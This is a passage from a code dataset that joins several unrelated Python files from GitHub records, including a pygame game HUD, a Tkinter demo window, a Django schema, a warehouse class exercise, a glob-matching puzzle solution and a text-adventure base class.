self._update_display_unit_if_necessary()\n self._tiledisplay.update(delta_time)\n self._unitdisplay.update(delta_time)\n self.abilitydisplay.update(delta_time)\n\n\nclass TileDisplay(Widget, InputAcceptor):\n \"\"\"Displays various anformation about a tile and it's current effects.\"\"\"\n IMAGE_SIZE_BORDER = (\n 2*HUD.IMAGE_BORDER_WIDTH + HUD.TILEDISPLAY.IMAGE_SIZE[0],\n 2*HUD.IMAGE_BORDER_WIDTH + HUD.TILEDISPLAY.IMAGE_SIZE[1]\n )\n SIZE = (200,IMAGE_SIZE_BORDER[1])\n LABEL_SIZE = (SIZE[0] - IMAGE_SIZE_BORDER[0] - 2, HUD.LABEL_HEIGHT)\n\n def __init__(self):\n Widget.__init__(self)\n InputAcceptor.__init__(self)\n\n self._imagepos = IVector2(HUD.IMAGE_BORDER_WIDTH, HUD.IMAGE_BORDER_WIDTH)\n self._tilenamepos = IVector2(TileDisplay.IMAGE_SIZE_BORDER[0], HUD.IMAGE_BORDER_WIDTH)\n self._tiledescpos = None\n self._tileseffectpos = None\n\n self._tilenametextbox = TextBox(\n fontsize=32,\n bgcolor=GRAY_ACCENT_DARK,\n linewidth=TileDisplay.LABEL_SIZE[0],\n lineheight=20\n )\n self._tiledesctextbox = TextBox(\n fontsize=15,\n bgcolor=GRAY_ACCENT_DARK,\n linewidth=TileDisplay.LABEL_SIZE[0],\n lineheight=10\n )\n self._effectdisplay = EffectInfoGroup(TileDisplay.LABEL_SIZE[0])\n self._effectdisplay.parent = self\n self.register_input_listeners(self._effectdisplay)\n\n self._sub_blits:list[tuple[pygame.Surface, pygame.Rect, pygame.Rect]] = []\n self.image = pygame.Surface((200,100)).convert_alpha()\n self._rect = self.image.get_rect()\n self.image.fill((0))\n self.tile:\"TileBaseUI\" = None\n self.effects:\"list[EffectBaseUI]\" = []\n self._draw_border()\n\n @property\n def tile(self):\n return self._tile\n\n @property\n def effects(self):\n return self._effects\n\n @tile.setter\n def tile(self, new_tile:TileBaseUI):\n \"\"\"Set the new tile to display.\"\"\"\n self.image.fill(GRAY_ACCENT_LIGHT)\n self._tile = new_tile\n self._tilenametextbox.text = new_tile.get_display_name() if new_tile else \"\"\n self._tiledesctextbox.text = new_tile.get_display_description() if new_tile else \"\"\n self._tiledescpos = self._tilenamepos + IVector2(0, self._tilenametextbox.image.get_height()+1)\n self._effectdisplay.position = self._tiledescpos + IVector2(0, self._tiledesctextbox.image.get_height()+3)\n self.update(0)\n self._draw_effect_separator()\n\n @effects.setter\n def effects(self, new_effects:\"list[EffectBaseUI]\"):\n \"\"\"Set the new effects to display.\"\"\"\n self._effects = new_effects\n self._effectdisplay.set_effects(new_effects)\n self.update(0)\n self._draw_effect_separator()\n\n def get_blits(self) -> \"Generator[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\":\n yield from Widget.get_blits(self)\n yield from self._sub_blits\n yield from self._effectdisplay.get_blits()\n\n def update(self, delta_time:float):\n self.image.blit(self._tilenametextbox.image, self._tilenamepos.c)\n self.image.blit(self._tiledesctextbox.image, self._tiledescpos.c)\n self.image.fill(IMAGE_BACKGROUND, (*self._imagepos,*STANDARD_TILE_SIZE))\n self._sub_blits.clear()\n if self._tile:\n tile_rect = pygame.Rect(self._imagepos.c, STANDARD_TILE_SIZE)\n self.image.blits([(blit[0], tile_rect , blit[2]) for blit in self._tile.get_blits()])\n for effect in self._effects:\n self.image.blits([(blit[0], tile_rect, blit[2]) for blit in effect.get_blits()])\n\n def _draw_border(self):\n pygame.draw.rect(\n self.image,\n GRAY_ACCENT_DARK,\n (\n 0,0,\n TileDisplay.IMAGE_SIZE_BORDER[0] - HUD.IMAGE_BORDER_WIDTH/2,\n TileDisplay.IMAGE_SIZE_BORDER[1] - HUD.IMAGE_BORDER_WIDTH/2,\n ),\n HUD.IMAGE_BORDER_WIDTH\n )\n\n def _draw_effect_separator(self):\n start = self._effectdisplay.position + IVector2(0, -2)\n end = start + IVector2(TileDisplay.LABEL_SIZE[0]-1, 0)\n pygame.draw.line(self.image, WHITE, start.c, end.c)\n\n\nclass UnitDisplay(IGraphics):\n \"\"\"Allows for easier display of a unit on the HUD.\"\"\"\n IMAGE_SIZE = STANDARD_UNIT_SIZE\n IMAGE_SIZE_BORDER = (\n 2*HUD.IMAGE_BORDER_WIDTH + IMAGE_SIZE[0],\n 2*HUD.IMAGE_BORDER_WIDTH + IMAGE_SIZE[1]\n )\n SIZE = (200, IMAGE_SIZE_BORDER[1]+20)\n LABEL_SIZE = (SIZE[0] - IMAGE_SIZE_BORDER[0], HUD.LABEL_HEIGHT)\n\n def __init__(self):\n super().__init__()\n self.imagepos = (\n UnitDisplay.SIZE[0] - UnitDisplay.IMAGE_SIZE[0] - HUD.IMAGE_BORDER_WIDTH,\n HUD.IMAGE_BORDER_WIDTH\n )\n self.titlepos = IVector2(0, UnitDisplay.LABEL_SIZE[1]*0 + 0)\n self.abilityimagepos = IVector2(0, UnitDisplay.LABEL_SIZE[1]*1 + 1)\n self.abilityphasepos = IVector2(0, UnitDisplay.LABEL_SIZE[1]*2 + 2)\n self.abilitycooldownpos = IVector2(0, int(UnitDisplay.LABEL_SIZE[1]*2.5 + 4))\n self.statuseffectpos = IVector2(0, UnitDisplay.LABEL_SIZE[1]*3 + 4)\n self.defaultimagecolor = (30, 0, 0, 255)\n self.defaulttextboxcolor = (50, 50, 50, 255)\n self.font = pygame.font.Font('HighOne.ttf', HUD.TITLE_FONT_SIZE)\n self.ability_number_font = pygame.font.Font('HighOne.ttf', HUD.DESC_FONT_SIZE )\n self.cooldown_font = pygame.font.Font('HighOne.ttf', HUD.SMALL_FONT_SIZE)\n self.image = pygame.Surface(UnitDisplay.SIZE).convert_alpha()\n self.rect = self.image.get_rect()\n self.image.fill((0))\n self.displayunit:\"UnitBase\" = None\n self.displayunitui:\"UnitBaseUI\" = None\n self.set_displayunit(None)\n self._draw_border()\n\n def set_displayunit(self, unit_ui:\"UnitBaseUI|None\"):\n \"\"\"Set the new unit to display.\"\"\"\n self._draw_layout()\n self.displayunitui = unit_ui\n self.displayunit = unit_ui._parentelement if unit_ui else None\n if self.displayunit:\n title_text = self.font.render(unit_ui.get_display_name(), True, WHITE)\n pos = self.titlepos + IVector2(0, int( (self.LABEL_SIZE[1]-title_text.get_height()) / 2 ) )\n self.image.blit(title_text, pos.c)\n for blit in unit_ui.get_blits():\n self.image.blit(blit[0], pygame.Rect(self.imagepos, STANDARD_UNIT_SIZE) , blit[2])\n self.display_abilities()\n self.display_statuseffects()\n\n def update(self, delta_time:float):\n self.image.fill(self.defaultimagecolor, (*self.imagepos, *STANDARD_UNIT_SIZE))\n if self.displayunit:\n tfc = self.displayunitui.get_component(TransformComponent)\n if tfc:\n unit_pos = tfc.get_position()\n for surface, pos, size in self.displayunitui.get_blits():\n pos = pygame.Rect((IVector2(*pos.topleft) - unit_pos + IVector2(*self.imagepos)).c,\n STANDARD_UNIT_SIZE\n )\n self.image.blit(surface, pos, size)\n\n def display_statuseffects(self):\n self.image.fill((0), (0,100,200,16))\n for i,statuseffect in enumerate(self.displayunit.statuseffects):\n texkey = statuseffect.name\n spritesheet = Textures.get_spritesheet(texkey)\n if spritesheet:\n self.image.blit(spritesheet[0], (1+i*16, self.statuseffectpos[1]+1))\n else:\n log(f\"HUD: Texture {texkey} not found.\")\n self.image.fill((255,0,255), (1+i*16,self.statuseffectpos[1]+1,16,16))\n\n def display_abilities(self):\n \"\"\"Display the abilities of a unit.\"\"\"\n abilities = self.displayunit.ability_component._abilities\n index = 0\n for ability in abilities:\n if type(ability).__name__ in Textures.abilitytexturemapping.values():\n abilityimage = Textures.get_spritesheet(type(ability).__name__)[0]\n self.image.blit(abilityimage, (self.abilityimagepos + IVector2(17*index, 2)).c, (0,0,16,16))\n else:\n log(f\"HUD: Texture {type(ability).__name__} not found.\", 2)\n\n self.image.fill(PHASECOLORS[ability.phase],\n (*(self.abilityphasepos + IVector2(17*index, 0)).c, 16, 12)\n )\n if self.displayunit:\n text = str(index+1)\n ability_number_image = self.ability_number_font.render(text, True, WHITE)\n offset = IVector2(17*(index+1)-ability_number_image.get_width()-2, -1)\n ability_number_pos = (offset + self.abilityphasepos).c\n self.image.blit(ability_number_image, ability_number_pos)\n\n if ability.primed and ability.remainingcooldown == 0:\n col = (100,150,100,255)\n elif ability.remainingcooldown == 0:\n col = (150,150,150,255)\n else:\n col = (150,100,100,255)\n self.image.fill(col, (*(self.abilitycooldownpos + IVector2(17*index, 0)).c, 16, 8))\n if self.displayunit:\n text = str(ability.remainingcooldown)\n cooldown_number_image = self.cooldown_font.render(text, True, GRAY_ACCENT_DARK)\n offset = IVector2(17*(index+1)-cooldown_number_image.get_width()-2, -1)\n cooldown_number_pos = self.abilitycooldownpos + offset\n self.image.blit(cooldown_number_image, cooldown_number_pos.c)\n index += 1\n\n def get_blits(self) -> \"Generator[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\":\n yield (self.image, self.rect, self.image.get_rect())\n\n def _draw_border(self):\n pygame.draw.rect(\n self.image,\n GRAY_ACCENT_LIGHT,\n (\n UnitDisplay.SIZE[0] - UnitDisplay.IMAGE_SIZE_BORDER[0],\n 0,\n UnitDisplay.IMAGE_SIZE_BORDER[0] - HUD.IMAGE_BORDER_WIDTH/2,\n UnitDisplay.IMAGE_SIZE_BORDER[1] - HUD.IMAGE_BORDER_WIDTH/2,\n ),\n HUD.IMAGE_BORDER_WIDTH)\n\n def _draw_layout(self):\n self.image.fill(self.defaultimagecolor, (*self.imagepos, *STANDARD_UNIT_SIZE))\n self.image.fill(self.defaulttextboxcolor, (*self.titlepos, *UnitDisplay.LABEL_SIZE))\n self.image.fill(self.defaulttextboxcolor, (*self.abilityimagepos, *UnitDisplay.LABEL_SIZE))\n self.image.fill(self.defaulttextboxcolor, (*self.abilityphasepos, *UnitDisplay.LABEL_SIZE))\n self.image.fill(self.defaulttextboxcolor, (*self.statuseffectpos, *UnitDisplay.LABEL_SIZE))\n pygame.draw.line(\n self.image,\n GRAY_ACCENT_LIGHT,\n (self.abilityimagepos + IVector2(0,-1)).c,\n (self.abilityimagepos + IVector2(UnitDisplay.LABEL_SIZE[0],-1)).c)\n pygame.draw.line(\n self.image,\n GRAY_ACCENT_LIGHT,\n (self.abilityphasepos + IVector2(0,-1)).c,\n (self.abilityphasepos + IVector2(UnitDisplay.LABEL_SIZE[0],-1)).c)\n pygame.draw.line(\n self.image,\n BLACK,\n (self.statuseffectpos + IVector2(0,-2)).c,\n (self.statuseffectpos + IVector2(UnitDisplay.LABEL_SIZE[0]-2, -2)).c)\n\n\nclass EffectInfoGroup(Widget, InputAcceptor):\n \"\"\"Displays World Effects.\"\"\"\n def __init__(self, width: int) -> None:\n Widget.__init__(self)\n InputAcceptor.__init__(self)\n\n self.effects:\"list[EffectBaseUI]\" = []\n self.effect_icons = HorizontalLayoutSurface()\n self.effect_icons.parent = self\n\n self._marker_size = (16,16)\n self.selection_marker = pygame.Surface(self._marker_size).convert_alpha()\n self.selection_marker.fill((0))\n pygame.draw.rect(self.selection_marker, WHITE, (0,0,*self._marker_size), 1)\n\n self.selection_index = 0\n\n self.title_tb = TextBox(\"\", fontsize=16, bgcolor=(50,50,50), linewidth=width)\n self.title_tb.position = IVector2(0,18)\n self.title_tb.parent = self\n\n self.desc_tb = TextBox(\"\", fontsize=16, bgcolor=(50,50,50), linewidth=width)\n self.desc_tb.parent = self.title_tb\n\n #pylint: disable=missing-function-docstring\n def get_blits(self) -> \"Generator[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\":\n yield from self.effect_icons.get_blits()\n if self.selection_index in range(len(self.effect_icons.children)):\n yield (self.selection_marker,\n pygame.Rect(\n self.effect_icons.get_screen_child_pos(self.selection_index).c,\n self._marker_size\n ),\n pygame.Rect((0,0), self._marker_size),\n )\n yield from self.title_tb.get_blits()\n yield from self.desc_tb.get_blits()\n\n def handle_key_event(self, event: any) -> bool:\n if event.type == pygame.KEYDOWN and event.mod & pygame.KMOD_CTRL:\n if event.key == pygame.K_LEFT:\n self._move_selection_left()\n return True\n if event.key == pygame.K_RIGHT:\n self._move_selection_right()\n return True\n return super().handle_key_event(event)\n\n def set_effects(self, effects:\"list[EffectBaseUI]\") -> None:\n self.effect_icons.children = [effect.get_icon() for effect in effects]\n self.effects = effects\n self.selection_index = 0\n self._update_title_desc()\n\n def _update_title_desc(self):\n name = \"\"\n desc = \"\"\n if self.selection_index in range(len(self.effects)):\n effect = self.effects[self.selection_index]\n name = effect.get_display_name()\n desc = effect.get_display_description()\n self.title_tb.text = name\n self.title_tb.update_textbox()\n\n desc_pos = IVector2(0, self.title_tb.image.get_height()+1)\n self.desc_tb.text = desc\n self.desc_tb.get_component(TransformComponent).relative_position = desc_pos\n self.desc_tb.update_textbox()\n\n def _move_selection_left(self):\n self.selection_index = max(0, self.selection_index-1)\n self._update_title_desc()\n\n def _move_selection_right(self):\n self.selection_index = min(len(self.effect_icons.children)-1, self.selection_index+1)\n self._update_title_desc()\n\n\nclass AbilityDisplay(IGraphics):\n def __init__(self) -> None:\n super().__init__()\n self._abilityuis: \"list[AbilityBaseUI]\" = []\n self._anims: \"list[Animation]\" = []\n \n def get_blits(self) -> \"Generator[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\":\n for animation in self._abilityuis:\n yield from animation.get_blits()\n for animation in self._anims:\n yield from animation.get_blits()\n\n def update(self, delta_time:float):\n for animation in self._abilityuis:\n animation.tick(delta_time)\n if not animation.playing:\n self._abilityuis.remove(animation)\n for animation in self._anims:\n animation.tick(delta_time)\n if not animation._running:\n self._anims.remove(animation)\n\n def play_simple_anim(self, animation:\"AbilityBaseUI\"):\n self._anims.append(animation)\n\n def play_ability_anim(self, animation:\"AbilityBaseUI\"):\n self._abilityuis.append(animation)\n","repo_name":"pale-ale/into_the_beach","sub_path":"itblib/ui/hud/hud.py","file_name":"hud.py","file_ext":"py","file_size_in_byte":24965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27418856036","text":"from tkinter import *\n\n\n\n'''This class configures and populates the rootlevel window.\nroot is the rootlevel containing window.'''\n\n_bgcolor = '#d9d9d9' # X11 color: 'gray85'\n_fgcolor = '#000000' # X11 color: 'black'\n_compcolor = '#d9d9d9' # X11 color: 'gray85'\n_ana1color = '#d9d9d9' # X11 color: 'gray85'\n_ana2color = '#ececec' # Closest X11 color: 'gray92'\nroot = Tk()\nroot.geometry(\"600x450+650+150\")\nroot.minsize(148, 1)\nroot.maxsize(1924, 1055)\nroot.resizable(1, 1)\nroot.title(\"New rootlevel\")\nroot.configure(background=\"#d9d9d9\")\n\nLabel1 = Label(root)\nLabel1.place(relx=0.183, rely=0.156, height=26, width=43)\nLabel1.configure(background=\"#d9d9d9\")\nLabel1.configure(disabledforeground=\"#a3a3a3\")\nLabel1.configure(foreground=\"#000000\")\nLabel1.configure(text='''name''')\n\nEntry1 = Entry(root)\nEntry1.place(relx=0.383, rely=0.156,height=24, relwidth=0.173)\nEntry1.configure(background=\"white\")\nEntry1.configure(disabledforeground=\"#a3a3a3\")\nEntry1.configure(font=\"TkFixedFont\")\nEntry1.configure(foreground=\"#000000\")\nEntry1.configure(insertbackground=\"black\")\n\n \n\n\nroot.mainloop()","repo_name":"Oppy-B/working_project","sub_path":"pagedemo.py","file_name":"pagedemo.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14428636132","text":"\n#G \nb=int(input(\"Enter the the 7 abo number :\"))#G\nfor row in range(b):\n for col in range(b):\n if (col==0 and row!=0 and row!=b-1 and row!=b-2)or(row==0 and col!=0)or(row==b-2 and col!=0)or(col==b-1 and row>b//2-1)or(row==b//2 and col>1):\n print(\"*\",end=\" \")\n else:\n print(\" \",end=\" \")\n print()\n","repo_name":"Polamreddykrishnareddy/Allpatterns_in_python_code","sub_path":"Loopes/ALLPHABITS_FOR_ LOOPES/FOR_LOOPES_CAPITALS_LETTERS_DINAMIC/for_loop_capital_letter_G.py","file_name":"for_loop_capital_letter_G.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28603868316","text":"from typing import List\n\nfrom ninja import ModelSchema, Schema\nfrom pydantic import Field\n\nfrom recycle.models.transfer_station import TransferStation\n\n\nclass TransferStationOut(ModelSchema):\n street_code: str = Field(None, title=\"所属街道编码\", alias=\"street.code\")\n street_name: str = Field(None, title=\"所属街道名称\", alias=\"street.name\")\n community_code: str = Field(title=\"所属社区\", alias=\"community.code\")\n community_name: str = Field(title=\"所属社区\", alias=\"community.name\")\n varieties_display: List[str] = Field(None, title=\"经营品种\")\n\n class Config:\n model = TransferStation\n model_fields = [\n \"id\",\n \"name\",\n \"management_company\",\n \"address\",\n \"longitude\",\n \"latitude\",\n \"nature\",\n \"manager_name\",\n \"manager_phone\",\n ]\n\n\nclass TransferStationImportOut(Schema):\n imported_count: int = Field(None, title=\"导入中转站数量\")\n","repo_name":"993007429/sy-low-value","sub_path":"recycle/schemas/transfer_station.py","file_name":"transfer_station.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29272134261","text":"'''\n4. Начните работу над проектом «Склад оргтехники». Создайте класс, описывающий склад.\n А также класс «Оргтехника», который будет базовым для классов-наследников.\n Эти классы — конкретные типы оргтехники (принтер, сканер, ксерокс).\n В базовом классе определите параметры, общие для приведённых типов.\nВ классах-наследниках реализуйте параметры, уникальные для каждого типа оргтехники.\n\n5. Продолжить работу над первым заданием. Разработайте методы, которые отвечают\nза приём оргтехники на склад и передачу в определённое подразделение компании.\nДля хранения данных о наименовании и количестве единиц оргтехники, а также других\n данных, можно использовать любую подходящую структуру (например, словарь).\n 6. Продолжить работу над вторым заданием. Реализуйте механизм валидации вводимых\n пользователем данных. Например, для указания количества принтеров, отправленных на склад,\n нельзя использовать строковый тип данных.\nПодсказка: постарайтесь реализовать в проекте «Склад оргтехники» максимум возможностей,\nизученных на уроках по ООП.\n'''\n\n\nclass Warehouse:\n '''\n склад хранения оргтехники\n '''\n def __init__(self, name):\n self.warehouse_name = name\n\n self._warehouse = { # словарь для данных склада\n\n }\n\n def add_product(self, product, count): # метод добавление/оприходывание товара на склад\n if self._warehouse.get(product.name) == None:\n self._warehouse[product.name] = int(count)\n return self._warehouse\n else:\n self._warehouse[product.name] += int(count)\n return self._warehouse\n\n def give_from_warehouse(self, other, product, count): # метод перемещение товаров со склада на склад\n try:\n result = self._warehouse[product.name] - int(count)\n if result < 0:\n print('невозможно выгрузить больше, чем есть на складе')\n else:\n self._warehouse[product.name] = result\n other.add_product(product, count)\n\n except TypeError:\n print(' не правильно ввели данные')\n\n\n def get_warehouse(self):\n return self.__dict__ # можно ли так возвращать словарь?\n\n\n\nclass Office_equipment:\n\n def __init__(self, name, price):\n self.name = name\n self.price = price\n # self.item = {'устройство': self.name,\n # 'цена': self.price,\n # }\n\n def __getitem__(self, item): # для упрощения добавления объектов на склад\n return self.__dict__[item]\n\n def __setitem__(self, key, value): # можно и так устанавливать цену\n self.__dict__[key] = value\n\n def __str__(self):\n return f'{self.__dict__}'\n\n @property\n def set_price(self):\n return self.price\n\n @set_price.setter\n def set_price(self, price):\n self.price = price\n\n\nclass Printer(Office_equipment):\n def printer_speed(self, speed):\n self.speed = speed\n # self.item['скорость печати'] = self.speed\n return self.speed\n\n\nclass Scanner(Office_equipment):\n def scanner_speed(self, speed):\n self.speed = speed\n # self.item['скорость сканирования'] = self.speed\n return self.speed\n\n\nclass Xerox(Office_equipment):\n def xerox_speed(self, speed):\n self.speed = speed\n # self.item['скорость копирования'] = self.speed\n return self.speed\n\n\np = Printer('hp', 125)\ns = Scanner('canon', 300)\np.printer_speed(5) # устанавливаем свойство скорости печати\np.set_price = 100 # устанавливаем цену\np.price = 99 # по другому устанавливаем цену ( как вариант так можно? )\nx=Xerox('sams', 200)\nprint('товар ', p, s, x)\n\n\nwarehouse = Warehouse('основной') # создаем склад 1\nskl = Warehouse('коммерч') # создаем склад 2\n# print(p)\n\nwarehouse.add_product(p, 12) # добавляем товар и кол-во\nwarehouse.add_product(s, 5)\nwarehouse.add_product(x, 1)\n# print(warehouse.__dict__)\nwarehouse.add_product(s, 10) # добавляем товар и кол-во\nprint(warehouse.get_warehouse())\nskl.add_product(x, 5) # перемещаем на другой склад\nprint('склады до', warehouse.get_warehouse(), skl.get_warehouse())\nwarehouse.give_from_warehouse(skl, p, 3) # еще перемещаем\nwarehouse.give_from_warehouse(skl, s, 5) # еще перемещаем\nprint('склады после', warehouse.get_warehouse(), skl.get_warehouse())\nskl.give_from_warehouse(warehouse, s,2) # перемещаем обратно на основной склад\nprint('склады end', warehouse.get_warehouse(), skl.get_warehouse())\n","repo_name":"Stas-sts34/education","sub_path":"8,4.py","file_name":"8,4.py","file_ext":"py","file_size_in_byte":6028,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"16659878267","text":"import os\nimport random\n\nimport numpy as np\n\n\nclass UUIDIterator:\n \"\"\"Helper class, providing a iterator to go over the available training data\"\"\"\n\n def __init__(self, storage_path: str):\n \"\"\"Initialize UUID Iterator class.\n\n Parameters\n ----------\n storage_path : str\n Path to data storage\n \"\"\"\n\n self.path = storage_path\n\n def __call__(self, batch_size=None):\n \"\"\"Returns list of uuids in specified storage. If a batch_size is given,\n the uuids get separtead into batches.\n By default, only single uuids are returned, which corresponds to a batch size of 1.\n\n Parameters\n ----------\n batch_size : None, optional\n Number of uuids in each batch\n\n Returns\n -------\n uuids : List of lists [[batch_1],[batch_2], .... [batch_n]]\n Each batch consists of `batch_size` uuids. By default, batch size is set\n to one.\n \"\"\"\n\n uuids = [img.split(\".\")[0] for img in os.listdir(self.path + \"/images\")]\n random.shuffle(uuids)\n\n if batch_size and (batch_size > 1):\n num_batches = len(uuids) // batch_size\n uuid_batches = [\n uuids[(_ * batch_size) : (_ * batch_size + batch_size)]\n for _ in range(num_batches)\n ]\n return np.array(uuid_batches)\n\n return np.array([[uuid] for uuid in uuids])\n","repo_name":"forkbabu/detr-tensorflow","sub_path":"detr_models/detr/uuid_iterator.py","file_name":"uuid_iterator.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37865244991","text":"\"\"\"Unix Match\n\n https://py.checkio.org/en/mission/unix-match/\n\n Sometimes you find yourself in a situation where among a huge number of\n files on your computer or in a separate folder you need to find files of\n a certain type - for example, images with the extension '.jpg' or\n documents with the extension '.txt', or even files that have the word\n 'butterfly' in their name. Doing this manually can be time-consuming.\n 'Matching' or patterns for searching files by a specific mask are just\n what you need for these sort of challenges.\n\n This mission will help you understand how this works.\n\n You need to find out if the given unix pattern matches the given filename.\n\n Let me show you a couple of small examples of matching the filenames\n in the unix-shell. For example, * matches everything and *.txt\n matches all of the files that have txt extension. Here is a small\n table that shows symbols that can be used in patterns.\n\n *\tmatches everything\n ?\tmatches any single character\n [seq]\tmatches any character in seq\n [!seq]\tmatches any character not in seq\n\n Input: Two arguments. Both are strings.\n Output: Bool.\n\"\"\"\n\nimport re\n\n\ndef unix_match(filename: str, pattern: str) -> bool:\n reg_exp = pattern\n for k, v in {\n \".\": r\"\\.\",\n \"*\": \".*\",\n \"?\": \".\",\n \"[!\": \"[^\",\n \"[[]\": r\"\\[\",\n \"[]]\": r\"\\]\",\n \"[.]\": r\"\\?\",\n \"[.*]\": r\"\\*\",\n }.items():\n reg_exp = reg_exp.replace(k, v)\n\n try:\n return re.match(reg_exp, filename) is not None\n except re.error:\n return filename == pattern\n\n\nif __name__ == \"__main__\":\n assert unix_match(\"somefile.txt\", \"*\") is True\n assert unix_match(\"other.exe\", \"*\") is True\n assert unix_match(\"my.exe\", \"*.txt\") is False\n assert unix_match(\"log1.txt\", \"log?.txt\") is True\n assert unix_match(\"log1.txt\", \"log[1234567890].txt\") is True\n assert unix_match(\"log12.txt\", \"log?.txt\") is False\n assert unix_match(\"log12.txt\", \"log??.txt\") is True\n assert unix_match(\"name.txt\", \"name[]txt\") is False\n assert unix_match(\"1name.txt\", \"[!abc]name.txt\") is True\n assert unix_match(\"1name.txt\", \"[!1234567890]*\") is False\n assert unix_match(\"txt\", \"????*\") is False\n assert unix_match(\"[?*]\", \"[[][?][*][]]\") is True\n assert unix_match(\"[!]check.txt\", \"[!]check.txt\") is True\n\n print(\"PASSED!!!\")\n","repo_name":"vlad-bezden/py.checkio","sub_path":"oreilly/unix_match.py","file_name":"unix_match.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41119399860","text":"#Manuel Ortiz at 2022\n#Extracted from: https://leetcode.com/problems/roman-to-integer/\n\nI,V,X,L,C,D,M = 'I','V','X','L','C','D','M'\nSYMBOLS = {I: 1, V: 5, X: 10, L: 50, C: 100, D: 500, M: 1000}\ndef romanToInt(s):\n n = SYMBOLS[s[-1]]\n for i in range(len(s)-2,-1,-1):\n actual, prev = SYMBOLS[s[i]], SYMBOLS[s[i+1]]\n n+=(-actual) if actual < prev else actual\n return n\n\nromanToInt('IX')","repo_name":"manuelOrtizH/programming-practice","sub_path":"LeetCode/Python/Easy/romanToInteger.py","file_name":"romanToInteger.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38779826158","text":"\"\"\"\nBase is a place to put default inplementations of methods that everything\nin the game should support (eg save/restore, how to respond to verbs etc)\n\nXXX It doesn't seem to be doing, or refined for its documented purpose.. might\nneed to refactor accordingly\n\"\"\"\nfrom .constants import MessageType\n\nclass Base(object):\n def __init__(self, name)->None:\n self.game = None\n self.name = name\n self.verbs: dict = {}\n self.phrases: dict = {}\n self.vars: dict = {}\n self.articles = [\"a\", \"an\", \"the\"] # XXX not sure - going to try here\n\n def __repr__(self)->str:\n return \"\"\n\n def __str__(self) -> str:\n return f\"Name: {self.name}\\nVerbs: {self.verbs}\\nPhrases: {self.phrases}\\nVars: {self.vars}\\nGame: {self.game}\"\n\n def flag(self, f):\n if f in self.vars:\n return self.vars[f]\n else:\n return False\n\n def set_flag(self, f):\n self.vars[f] = True\n\n def unset_flag(self, f):\n if f in self.vars:\n del self.vars[f]\n\n def do_say(self, s):\n self.output(s, MessageType.FEEDBACK)\n return True\n\n def say(self, s):\n return (lambda s: lambda *args: self.do_say(s))(s)\n\n def do_say_on_noun(self, n, s, actor, noun, words):\n if noun != n:\n return False\n self.output(s, MessageType.FEEDBACK)\n return True\n\n def say_on_noun(self, n, s):\n return (\n lambda n, s: lambda actor, noun, words: self.do_say_on_noun(\n n, s, actor, noun, words\n )\n )(n, s)\n\n def say_on_self(self, s):\n return (\n lambda s: lambda actor, noun, words: self.do_say_on_noun(\n None, s, actor, noun, words\n )\n )(s)\n\n def add_verb(self, verb, f):\n self.verbs[\" \".join(verb.split())] = f\n\n def get_verb(self, verb):\n c = \" \".join(verb.split())\n if c in self.verbs:\n return self.verbs[c]\n else:\n return None\n\n def add_phrase(self, phrase, f, requirements=[]):\n self.phrases[\" \".join(phrase.split())] = (f, set(requirements))\n\n def get_phrase(self, phrase, things_present):\n phrase = phrase.strip()\n things_present = set(things_present)\n if not phrase in self.phrases:\n return None\n p = self.phrases[phrase]\n if things_present.issuperset(p[1]):\n return p[0]\n return None\n\n def output(self, text, message_type=0):\n self.game.output(text, message_type)\n\n \"\"\"\n XXX Adding these here to see if it makes sense\n \"\"\"\n \"\"\"\n Changes \"lock\" to \"a lock\", \"apple\" to \"an apple\", etc. Note that no article \n should be added to proper names; store a global list of these somewhere? \n For now we'll just assume anything starting with upper case is proper. Do not \n add an article to plural nouns.\n \"\"\"\n def add_article(self, name):\n # simple plural test\n if len(name) > 1 and name[len(name) - 1] == \"s\" and name[len(name) - 2] != \"s\":\n return name\n \n consonants = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n if name and (name[0] in vowels):\n article = \"an \"\n elif name and (name[0] in consonants):\n article = \"a \"\n else:\n article = \"\"\n return \"%s%s\" % (article, name)\n\n \"\"\"\n XXX Both the actor and location object make use of this function and they both \n inherit from Base so it sort of makes sense to put it here for now...\n \"\"\"\n def proper_list_from_dict(self, d):\n names = list(d.keys())\n buf = []\n name_count = len(names)\n for (i, name) in enumerate(names):\n if i != 0:\n buf.append(\", \" if name_count > 2 else \" \")\n if i == name_count - 1 and name_count > 1:\n buf.append(\"and \")\n buf.append(self.add_article(name))\n return \"\".join(buf)\n\n def print_output(self, text, message_type=0):\n print(self.style_text(text, message_type))\n\n\n # this makes the text look nice in the terminal... WITH COLORS!\n def style_text(self, text, message_type):\n if True: # trinket.io\n return text\n\n if message_type == FEEDBACK:\n text = Colors.FG.pink + text + Colors.reset\n\n if message_type == TITLE:\n text = Colors.FG.yellow + Colors.BG.blue + \"\\n\" + text + Colors.reset\n\n if message_type == DESCRIPTION:\n text = Colors.reset + text\n\n if message_type == CONTENTS:\n text = Colors.FG.green + text + Colors.reset\n\n return text\n\n","repo_name":"caliraftdude/TAP","sub_path":"TAP/schema/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1612066570","text":"import json\nimport os\nimport tensorflow as tf\nfrom keras.models import Sequential\nimport keras\nfrom keras.layers import Dense, Dropout, LSTM, CuDNNLSTM, 